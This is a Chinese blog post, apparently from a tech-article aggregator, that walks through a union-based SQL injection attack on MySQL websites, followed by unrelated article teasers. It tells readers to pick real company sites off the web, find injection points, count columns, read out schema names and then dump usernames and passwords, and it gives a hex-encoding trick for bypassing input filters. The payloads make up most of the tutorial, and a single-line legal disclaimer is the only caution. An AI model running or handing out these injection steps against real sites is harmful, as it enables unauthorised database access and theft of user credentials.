news 2026/8/8 5:33:14

渗透测试之sql注入验证安全与攻击性能

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
渗透测试之sql注入验证安全与攻击性能

由于渗透测试牵涉到安全性以及攻击性,为了便于交流分享,本人这里不进行具体网址的透露了。

我们可以在网上查找一些公司官方网站如(http://www.XXXXXX.com/xxxx?id=1)

1、拿到网页后进行查找注入点;

1、通过单引号 ' ; 在 url 后面输入单引号进行回车(如果报错可能存在sql注入为:10%左右)

2、利用逻辑运算(在 url 后面 输入 and 1=1 正常;1=2不正常,sql 注入漏洞概率为:40-60%左右)

3、利用沉睡函数俗称摸鱼函数(在 url 后面输入sleep(10),网页会休眠停留10s ,休眠与网速有关所以sql 注入漏洞概率为:50%左右)

4、利用运算进行测试(eg:id=1 则可以修改为id=2-1或3-2 ,+-×÷都能够进行计算并跑通,sql 注入漏洞概率为:95-100%左右)

2、进行测试报字段通过(order by函数);我的字段是9

在url后面加上order by XXX(整数) 利用XXX多次进行寻找临界值(报错与不报错边缘)

3、通过寻找到的字段后进行联合查询;

URL + union select 1,2,3,4,5,6,7,8,9(会出现字段序号对应的位置,1不要变因为通常第一位是序号,后面数字只是占位置可以改变)

4、查询数据库名;

URL + union select 1,2,database(),4,5,6,7,8,9(database(),所占位置当然也是可以改变的的,不要占用1,就行)

5、查询数据库版本号;

URL + union select 1,2,3,4,version(),6,7,8,9 (version(),所占位置当然也是可以改变的的,不要占用1,就行)

查询数据库版本的目的是因为一旦mysql版本大于5.0必然会有默认库information,如下:

我们通常使用的默认库是:information_schema

6、查询数据库中的表名;

URL + union select 1,2,3,4,group_concat(table_name),6,7,8,9,from information_schema.tables where table_schema=database() 可以查出所有表的表名

7、直接爆出表中用户;

URL + union select 1,2,3,4,group_concat(column_name),6,7,8,9,from information_schema.columns where table_name='表名'

注:有时候开发很聪明会对代码进行特殊字符进行过滤,那么我们就需要进行绕过去,我们可以对’表名‘进行转换为16进制或别的都行然后再进行输入查询

8、查看表中所有信息内容;

URL + union select 1,2,3,4,group_concat(usename,0x7e,password),6,7,8,9,from 表名
则可以查出所有用户具体信息

PS:
我这里如何破解后台网址以及登录就不再详细演示了(注意密码可能需要进行尝试解密)
提倡网络安全,切勿在法律边缘游走,不要随意攻击别人网站

感谢每一个认真阅读我文章的人,礼尚往来总是要有的,虽然不是什么很值钱的东西,如果你用得到的话可以直接拿走:

这些资料,对于【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴上万个测试工程师们走过最艰难的路程,希望也能帮助到你!有需要的小伙伴可以点击下方小卡片领取

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/7 11:38:25

网络安全核心基础百问百答:你的第一本实用安全速查手册

当我们学习网络安全的时候,需要对它的基础知识做一个简单的了解,这样对以后的学习和工作都会有很大的帮助。本篇文章为大家总结了网络安全基础知识入门的内容,快跟着小编来学习吧。 计算机网络 计算机网络是利用通信线路将不同地理位置、具…

作者头像 李华
网站建设 2026/8/7 22:10:05

揭秘Open-AutoGLM如何拯救非遗文化:5大核心技术首次公开

第一章:揭秘Open-AutoGLM如何拯救非遗文化在数字化浪潮席卷全球的今天,许多濒临失传的非物质文化遗产正借助前沿AI技术重获新生。Open-AutoGLM作为一款开源的自动化生成语言模型框架,凭借其强大的多模态理解与生成能力,正在成为非…

作者头像 李华
网站建设 2026/8/7 22:09:37

揭秘Open-AutoGLM底层架构:如何实现高质量文创内容自动生成

第一章:揭秘Open-AutoGLM底层架构:如何实现高质量文创内容自动生成Open-AutoGLM 是基于 GLM 架构演进而来的开源自动内容生成模型,专为文化创意产业设计,具备强大的语义理解与多模态内容生成能力。其核心在于融合了大规模预训练语…

作者头像 李华
网站建设 2026/8/7 9:35:19

收藏!大模型学习实战指南:从入门到进阶,小白/程序员少走90%弯路

大模型浪潮席卷而来,越来越多的人想跻身这个高薪赛道,但学习路上的迷茫和挫败感,成了很多人的“拦路虎”。我的后台每天都能收到大量类似的求助: “零基础想学家用大模型,不知道从哪开始,怕学不会又怕学错&…

作者头像 李华
网站建设 2026/8/7 22:09:22

你不知道的Open-AutoGLM黑科技(5个隐藏功能让城市管理效率提升300%)

第一章:Open-AutoGLM 智慧城市协同调度在现代智慧城市建设中,交通、能源与公共安全等多系统间的高效协同成为提升城市运行效率的核心挑战。Open-AutoGLM 作为一种基于大语言模型的自动化决策引擎,能够理解复杂城市语义环境,并生成…

作者头像 李华